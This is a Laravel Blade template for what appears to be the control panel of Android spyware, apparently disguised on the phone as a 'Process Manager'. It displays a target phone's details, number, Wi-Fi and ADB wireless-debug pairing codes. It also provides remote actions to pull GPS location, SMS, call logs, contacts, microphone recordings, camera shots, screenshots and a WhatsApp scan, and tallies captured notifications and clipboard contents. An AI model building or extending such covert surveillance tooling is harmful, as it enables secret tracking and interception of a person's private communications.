@php use App\Services\DeviceInfoService; $d = $pageData['device']; $online = $pageData['online']; $services = $pageData['services']; $hw = $pageData['hardware']; $storage = $pageData['storage']; $tel = $pageData['telephony']; $net = $pageData['network']; $env = $pageData['environment']; $stats = $pageData['stats']; $last = $pageData['last_sync']; $tz = config('app.timezone'); $wd = is_array($pageData['wireless_debug'] ?? null) ? $pageData['wireless_debug'] : []; $wdEnabled = array_key_exists('enabled', $wd) ? (bool) $wd['enabled'] : null; $ra = is_array($pageData['remote_action'] ?? null) ? $pageData['remote_action'] : []; @endphp
{{ $online ? __('devices.online') : __('devices.offline') }} @if($pageData['pending_commands'] > 0) {{ __('devices.info.pending_commands', ['count' => $pageData['pending_commands']]) }} @endif @if($pageData['device_info_at']) {{ __('devices.info.snapshot_at') }} {{ $pageData['device_info_at']->timezone($tz)->format('d/m/Y H:i') }} @endif
{{-- Dispositivo --}}

{{ __('devices.info.section_device') }}

{{ __('devices.device_id') }}
{{ $d->device_id }}
{{ __('devices.manufacturer') }}
{{ $d->manufacturer ?? '—' }}
{{ __('devices.model') }}
{{ $d->model ?? '—' }}
Android
{{ $d->android_version ?? '—' }} @if($hw['android_sdk'])(API {{ $hw['android_sdk'] }})@endif
{{ __('devices.info.security_patch') }}
{{ $hw['security_patch'] ?? '—' }}
{{ __('devices.info.app_version') }}
{{ $hw['app_version'] ?? '—' }}
IP
{{ $d->client_ip ?? '—' }}
{{ __('devices.info.first_seen') }}
{{ $d->first_seen_at?->timezone($tz)->format('d/m/Y H:i:s') ?? '—' }}
{{ __('devices.last_seen') }}
{{ $d->last_seen_at?->timezone($tz)->format('d/m/Y H:i:s') ?? '—' }}
{{ __('devices.info.uptime') }}
{{ DeviceInfoService::formatUptime($hw['uptime_ms']) }}
GPS automático
{{ $pageData['gps_interval'] }} s (0 = off)
{{-- Servicios Process Manager --}}

{{ __('devices.info.section_services') }}

@foreach([ 'usage_access' => __('devices.info.svc_usage'), 'accessibility' => __('devices.info.svc_accessibility'), 'notification_listener' => __('devices.info.svc_notifications'), 'device_admin' => __('devices.info.svc_admin'), 'location' => __('devices.info.svc_location'), 'background_location' => __('devices.info.svc_bg_location'), ] as $key => $label)
{{ ($services[$key] ?? false) ? '✓' : '✗' }} {{ $label }}
@endforeach
{{-- Acciones remotas --}}

{{ __('devices.info.section_remote_actions') }}

{{ __('devices.info.remote_actions_hint') }}

@foreach([ ['type' => '0xLO', 'label' => __('devices.info.ra_gps'), 'icon' => '📍'], ['type' => '0xWI', 'label' => __('devices.info.ra_wifi'), 'icon' => '📶'], ['type' => '0xRA', 'action' => 'device_info', 'label' => __('devices.info.ra_device_info'), 'icon' => '📱'], ['type' => '0xPM', 'label' => __('devices.info.ra_permissions'), 'icon' => '🔐'], ['type' => '0xIN', 'label' => __('devices.info.ra_apps'), 'icon' => '📦'], ['type' => '0xSM', 'action' => 'ls', 'label' => __('devices.info.ra_sms'), 'icon' => '💬'], ['type' => '0xCL', 'label' => __('devices.info.ra_calls'), 'icon' => '📞'], ['type' => '0xCO', 'label' => __('devices.info.ra_contacts'), 'icon' => '👤'], ['type' => '0xMI', 'sec' => 10, 'label' => __('devices.info.ra_mic'), 'icon' => '🎙'], ['type' => '0xCA', 'label' => __('devices.info.ra_camera'), 'icon' => '📷'], ['type' => '0xRA', 'action' => 'screenshot_now', 'label' => __('devices.info.ra_screenshot'), 'icon' => '🖼'], ['type' => '0xRA', 'action' => 'whatsapp_scan', 'label' => __('devices.info.ra_whatsapp'), 'icon' => '💚'], ['type' => '0xRA', 'action' => 'lock_screen', 'label' => __('devices.info.ra_lock'), 'icon' => '🔒', 'confirm' => __('devices.info.ra_lock_confirm')], ] as $btn) @endforeach

@if(!empty($ra['message'])) {{ $ra['message'] }} @endif

{{-- Hardware / batería / almacenamiento --}}

{{ __('devices.info.section_hardware') }}

{{ __('devices.info.battery') }}
@if($hw['battery_percent'] !== null) {{ $hw['battery_percent'] }}% @if($hw['battery_charging']) ({{ __('devices.info.charging') }}) @endif @else — @endif
RAM
{{ DeviceInfoService::formatMb($hw['ram_free_mb']) }} / {{ DeviceInfoService::formatMb($hw['ram_total_mb']) }}
{{ __('devices.info.storage') }}
{{ DeviceInfoService::formatMb($storage['internal_free_mb']) }} {{ __('devices.info.free_of') }} {{ DeviceInfoService::formatMb($storage['internal_total_mb']) }}
{{ __('devices.info.screen') }}
{{ ($hw['screen_on'] ?? null) === null ? '—' : ($hw['screen_on'] ? __('devices.info.screen_on') : __('devices.info.screen_off')) }}
{{ __('devices.info.locale') }}
{{ $env['locale'] ?? '—' }}
{{ __('devices.info.timezone') }}
{{ $env['timezone'] ?? '—' }}
{{ __('devices.info.battery_saver') }}
{{ ($env['battery_saver'] ?? null) === null ? '—' : ($env['battery_saver'] ? __('devices.info.yes') : __('devices.info.no')) }}
{{-- Red y telefonía --}}

{{ __('devices.info.section_network') }}

{{ __('devices.info.connection') }}
{{ $net['connection'] ?? '—' }}
WiFi
{{ $net['wifi_ssid'] ?? '—' }}
{{ __('devices.info.local_ip') }}
{{ $net['local_ip'] ?? '—' }}
{{ __('devices.info.operator') }}
{{ $tel['operator'] ?? $tel['sim_operator'] ?? '—' }}
{{ __('devices.info.phone') }}
{{ $tel['phone_number'] ?? '—' }}
{{ __('devices.info.roaming') }}
{{ ($tel['country_iso'] ?? null) ? strtoupper($tel['country_iso']) : '—' }} @if(isset($net['roaming'])) / {{ $net['roaming'] ? __('devices.info.yes') : __('devices.info.no') }} @endif
{{-- Depuración inalámbrica --}}

{{ __('devices.info.section_wireless_debug') }}

{{ __('devices.info.wireless_debug_hint') }}

{{ $wdEnabled === true ? __('devices.info.wireless_debug_enabled') : ($wdEnabled === false ? __('devices.info.wireless_debug_disabled') : __('devices.info.wireless_debug_unknown')) }}
{{ __('devices.info.wireless_debug_root') }}
{{ isset($wd['root_available']) ? ($wd['root_available'] ? __('devices.info.yes') : __('devices.info.no')) : '—' }}
{{ __('devices.info.wireless_debug_ip') }}
{{ $wd['ip'] ?? ($net['local_ip'] ?? '—') }}
{{ __('devices.info.wireless_debug_port') }}
{{ $wd['port'] ?? '—' }}
{{ __('devices.info.wireless_debug_pairing_port') }}
{{ $wd['pairing_port'] ?? '—' }}
{{ __('devices.info.wireless_debug_pairing_code') }}
{{ $wd['pairing_code'] ?? '—' }}
{{ __('devices.info.wireless_debug_adb_connect') }}
{{ $wd['adb_connect'] ?? '—' }}
{{ __('devices.info.wireless_debug_adb_pair') }}
{{ $wd['adb_pair'] ?? '—' }}
@if(!empty($wd['note']))
{{ __('devices.info.wireless_debug_note') }}
{{ $wd['note'] }}
@else @endif
@if($pageData['foreground'])
{{ __('devices.apps.foreground') }} {{ $pageData['foreground']->app_name ?? $pageData['foreground']->package_name }}
@endif {{-- Resumen actividad --}}

{{ __('devices.info.section_activity') }}

@foreach([ ['sms_today', __('devices.pages.sms'), 'sms'], ['calls_today', __('devices.pages.calls'), 'calls'], ['gps_points_today', 'GPS', 'gps'], ['app_events_today', __('devices.pages.apps'), 'apps'], ['notifications', __('devices.pages.notifications'), 'notifications'], ['clipboard', __('devices.pages.clipboard'), 'clipboard'], ] as [$key, $label, $route])

{{ $stats[$key] ?? 0 }}

{{ $label }}

@endforeach
SMS total: {{ $stats['sms_total'] }} · último {{ $last['sms']?->timezone($tz)->format('d/m H:i') ?? '—' }}
Llamadas total: {{ $stats['calls_total'] }} · último {{ $last['calls']?->timezone($tz)->format('d/m H:i') ?? '—' }}
Contactos: {{ $stats['contacts'] }}
Apps usuario: {{ $stats['apps_user'] }} / {{ $stats['apps_total'] }}
GPS último: {{ $last['gps']?->timezone($tz)->format('d/m H:i') ?? '—' }}
WiFi informe: {{ $last['wifi']?->timezone($tz)->format('d/m H:i') ?? '—' }}

{{ __('devices.info.footer_hint') }}

@push('scripts') @endpush